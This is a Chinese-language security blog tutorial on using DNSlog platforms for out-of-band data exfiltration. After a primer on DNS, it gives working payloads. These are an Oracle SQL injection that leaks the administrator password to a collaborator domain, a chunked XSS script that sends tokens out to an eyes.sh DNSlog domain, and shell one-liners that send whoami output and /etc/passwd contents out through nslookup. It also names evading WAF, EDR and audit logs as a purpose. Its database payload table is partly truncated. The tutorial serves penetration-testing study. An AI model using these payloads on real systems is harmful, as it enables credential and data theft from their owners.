DNSlog妙用
前言
DNSlog!我想在师傅们已经是耳熟能详的了,不过以前鄙人认知短浅,对Dnslog的使用只停留在ssrf的挖掘中。于是特写此文准备深入了解一下,这Dnslog的深度利用,希望对师傅们有帮助。在了解DNSlog之前,我们要先明白DNS是什么、有什么作用、有哪些特性,这样我们才真正了解Dnslog的用法!
DNS介绍
DNS(Domain Name System),顾名思义就是域名系统,在我们的使用中它充当着“翻译官”的角色,主要功能是把我们所常见的域名(www.example.com)转换为IP(1.1.1.1)。其存在的意义就是让我们通过容易记忆的域名来访问不好记忆的IP。
DNS协议
DNS协议(Domain Name System Protocol)是互联网的核心基础设施之一,主要负责将域名解析为IP地址,这是访问网站等网络资源所必需的。
其中:
- 正向解析是:域名 → IP地址(最常见)
- 反向解析是:IP地址 → 域名(常用于日志分析、邮件验证等)
DNS解析流程
本地解析——>DNS服务器解析
首先操作系统会检查本地缓存(DNS Cache),如果没有查询到相关的解析记录,就会查阅 hosts 文件(例如:C:\Windows\System32\drivers\etc\hosts)是否有记录。(本地解析)

如果本地找不到,就会查询配置好的DNS服务器(如 8.8.8.8),DNS服务器若无结果,DNS解析会使用分层解析机制,会递归向更高层服务器请求(根 → TLD → 权威DNS)直到找到正确IP。
举个例子:当你在浏览器中访问 www.baidu.com,如果本地没有缓存或记录,则你的电脑会将该请求发送到DNS服务器(如8.8.8.8),由它查找 www.baidu.com 的真实IP地址(如183.221.253.100),最终返回给你,实现访问。
DNS服务器
DNS服务器也是有区别的,它的层级关系如下:
根DNS服务器(Root DNS Server):
- 是DNS系统的顶级节点,全球仅有13组(命名为 A 到 M)。
- 负责告诉查询者:某个顶级域(例如 .com、.cn、.org)应该去哪个 TLD 服务器查询。
- 它不直接解析域名,但知道哪里能找到对应的 TLD 服务器。
TLD服务器(Top-Level Domain Server):
- 顶级域名服务器,负责管理特定后缀域名(如 .com、.net、.cn)。
- 告诉查询者:你要查的具体域名(如 baidu.com)是由哪个权威DNS服务器负责的。
权威DNS服务器(Authoritative DNS Server):
- 由域名拥有者或注册商设置,存储某个具体域名的最终解析记录(如A记录、CNAME等)。
- 它提供域名解析的最终答案,比如:www.baidu.com → 183.221.253.100。
本地DNS服务器(Recursive Resolver):
- 就是我们通常配置的 DNS,比如 8.8.8.8 或 114.114.114.114。
- 它负责接收我们的解析请求,如果自己没有缓存结果,就会递归查询根→TLD→权威服务器,并把最终结果返回给我们。
在进行 DNSLog 数据外带时,需要明确:DNS 解析过程发生在 HTTP 请求之前。因此,即便 HTTP 请求被阻断或拦截,DNS 请求依然可能成功发出,从而完成数据的外带。这使得 DNS 成为在无回显、网络受限环境下理想的外带通道之一。
下面我们来看看DNSlog 吧!
DNSlog原理与应用
什么是DNSlog,他与一般的DNS服务器(8.8.8.8)有什么区别?
1、DNSlog 平台本质上是你部署的一个 权威 DNS 服务器 + 日志记录系统。
2、它负责一个特定域名的解析,比如:dnslog.cn。
3、任何对 *.dnslog.cn 的 DNS 请求,都会先通过正常的 DNS 传输路径,最终到达你控制的 DNS 服务器。
4、它的作用:记录谁访问了哪个子域名(=带有数据的 DNS 请求)
直接看!例如eyes.sh这个DNSlog平台

我直接通过url访问

可见,这里就会记录到我们的IP

其中我们要考虑,为什么我们通过url(http://1.CMCCAdmin.eyes.sh)直接访问dnslog平台(http的方式),DNslog平台会有记录,他是通过web流量进行保存的吗,显然不是,不然它就不叫DNSlog了。过程是这样的:
当我们访问 `1.CMCCAdmin.eyes.sh` 这个临时生成的子域名。由于这个域名此前未被缓存,递归 DNS(如 8.8.8.8)会发起迭代查询,从根服务器 → `.sh` 的 TLD 服务器 → `eyes.sh` 的权威服务器(即 DNSlog 平台)获取解析结果。DNSlog 平台正是通过运行权威 DNS 服务器来捕捉到这个请求,并记录下我们查询的子域名 `1.CMCCAdmin.eyes.sh`。
DNSlog在实战中的使用
为什么我们要使用DNSlog?
1、目标环境存在漏洞但无回显(如盲注、盲 RCE、XXE 等)
2、目标禁用了 HTTP 通信/外带(如 CSP 限制、XSS 被 sandbox 等)
3、绕过日志审计、WAF、EDR,更隐蔽地测试漏洞
...
此文主要讲解如何进行数据外带和命令执行结果外带!
上面说到DNSlog平台会记录下访问的DNSlog的子域名吗,那我们就可以通过构造子域名来数据外带!
具体的方法如下,为了实现数据外带,目标系统需要具有可控的代码执行环境(如 XSS、命令注入、模板注入等),这样我们才能读取敏感变量(如 cookie、token、凭据),并将其拼接到我们控制的 DNSlog 域名的子域中({外带数据}.CMCCAdmin.eyes.sh),从而在触发解析时将数据一并带出。
以sql注入尝尝鲜:
![]()


这里就成功进行了数据外带!
DNSlog的局限性
不过既然它怎么好用,能直接数据外带,我们为什么不一直用它来进行数据外带呢?DNSlog进行数据外带也有局限性的?
其中最重要的就是其单个传输的数据量有限,不能传输大数据!
1、标签长度限制(Label Length):
每个标签(点与点之间的部分)不超过 63 个字符
示例:[数据段].[随机ID].dnslog.cn
其中 [数据段] 和 [随机ID] 都是独立标签,均需 ≤63 字符
2、总长度限制(Total Length):
完整域名(FQDN)不超过 255 个字符
包括所有标签和分隔点(.)
示例计算:数据(63) + .(1) + ID(63) + .(1) + dnslog(7) + .(1) + cn(2) = 138字符
但是不可否定,它有时候能让我们在绝境中突破!
破局之法
上面说到,单个传输的数据量有限,那就多发几次呗,所以对于大数据,我们就可以使用——"分块传输",直接秒了!
模拟实战
下面就来看看 dnslog 除了 ssrf 之外的用法吧!hiahiahia!
Sql注入——DNSlog组合
由于实战确实没有遇到什么好的例子,于是就以靶场代之。为什么要用到DNSlog来实现数据外带,难道其他的方法不行吗?直接使用时间盲注不也行吗?错了,盲注并非适合所有的sql注入!
当开发采用多线程异步的方式实现某个功能点时,盲注貌似就行不通了!举个例子:
我们发送了一个获取某个凭据请求,但是后端不仅会检验我们是否有权限获取(任务1),同时也会对我们的ua等数据进行记录(任务2),此时任务2存在sql注入,如果使用单线程,我们就需要等到两个任务都进行完毕,此时就会存在时间盲注是奏效的,但是如果使用多线程,另启动一个线程去执行ua的记录功能被另一个进程加载了,任务一获取到之后会正常响应了,任务二的sql注入用时间盲注就会检测不到。
此时就要利用DNSlog来检测了。
靶场:What is Blind SQL Injection? Tutorial & Examples | Web Security Academy
单线程:可以看到明显可以用时间盲注,注入前后时间差很大!


多线程的话,时间盲注是明显不起作用的

所以我们要进行DNSlog外带
TrackingId=xxxx'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT password FROM users WHERE username%3d'administrator')||'.BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual--+

成功把密码进行了外带

补充:对于一些合法url格式的字符,例如:任意字母、数字、-、.,这种我们可以直接明文传输,如果外带的数据又#、@、'、"这中特殊字符,我们就要采用编码的形式,例如hex十六进制编码...
poc&payload
以下是四大常见数据库利用 DNSLog 外带数据的核心要点对比表,包含 利用前提、POC(验证外带能力) 和 具体 Payload(数据外带)
四大数据库 DNSLog 外带注入对比表
| 数据库 | 利用前提 | POC(验证外带) | 数据外带 Payload 示例 |
| MySQL | 1. Windows 系统 |
|
|
| MSSQL | 1. |
|
|
| Oracle | 1. 网络 ACL 权限 |
| `SELECT UTL_INADDR.GET_HOST_ADDRESS((SELECT RAWTOHEX(SYS_CONTEXT('USERENV','CURRENT_USER')) |
| PostgreSQL | 1. 超级用户权限 |
| `COPY (SELECT '') TO PROGRAM 'nslookup ' |
分块传输
这里以mysql的sql注入为例,我们要查询的语句为select session from test where id=1,因为数据量比较庞大,所以用分块传输的形式。结果漏洞场景,可以让AI写一个python脚本来实现,其实质就是利用concat、substring拼接和分割函数。



其他数据库同理。
Xss——DNSlog组合
这是我在挖掘src时,遇到的一个案例,也正是因为这个案例,坚定了我写这篇总结的决心。在此声明,相关漏洞已修复!
这是主包在挖掘百度时碰巧遇到了一个xss。在成功弹窗之后,发现可以弹窗出来token,不过这样还不够!

我再尝试一下外带token到vps,结果一直试,也没有试成功,尝试上beef也失败了。最后得知可能是站点禁止了向其他站点发送http请求,所以外带到vps和上线beef都不行,难道就这么死心了吗!主包不甘啊!http不行是吧,那我直接试试DNS进行外带呢?
一阵捣鼓,累得满头大汗!功夫不负有心人,成功进行了数据外带!ps:因为token没有特殊字符,所以直接明文外带即可
payload
这里因为 token 相关的值太长了,之前说到 dnslog 外带数据有限,于是下面就可以进行分块传输,已对 payload进行适当调整!这里重点在思路!
<svg>
<script>
const token = xxxx; //替换为要外带的字段
const encodedToken = encodeURIComponent(token);
const domain = 'xxx.eyes.sh'; //dnslog地址要换自己的
const maxChunkSize = 60;
for (let i = 0; i < encodedToken.length; i += maxChunkSize) {
const chunk = encodedToken.substring(i, i + maxChunkSize);
const url = `http://${i}-${chunk}.${domain}`;
new Image().src = url;
}
</script>
</svg>

相关的组合,还有 rce结合dnslog实现命令回显外带,这里就简单说一下,主要是太菜了!没有遇到什么好一点的示例,www!
Rce——DNSlog
ping `whoami`.CMCCAdmin.eyes.sh
host $(whoami).CMCCAdmin.eyes.sh
nslookup $(whoami).CMCCAdmin.eyes.sh
host $(id | base64).CMCCAdmin.eyes.sh
host $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh
nslookup $(whoami | xxd -p -c 256).CMCCAdmin.eyes.sh
分块传输
cat /etc/passwd | while read line; do
echo -n "$line" | xxd -p -c30 | while read hex_chunk; do
nslookup "${hex_chunk}.CMCCAdmin.eyes.sh"
done
done



总结
就之前对dnslog只探测ssrf的短浅见解,对dnslog的概念和用法又加深了一遍,如果还有什么比较高级的思路,希望师傅们可以分享分享!今天的分享就到此结束了,文中如有错误,还请各位大师傅们斧正!!! 参考文章:Top18漏洞知识库-SRC技巧库、工具库
3248

被折叠的 条评论
为什么被折叠?



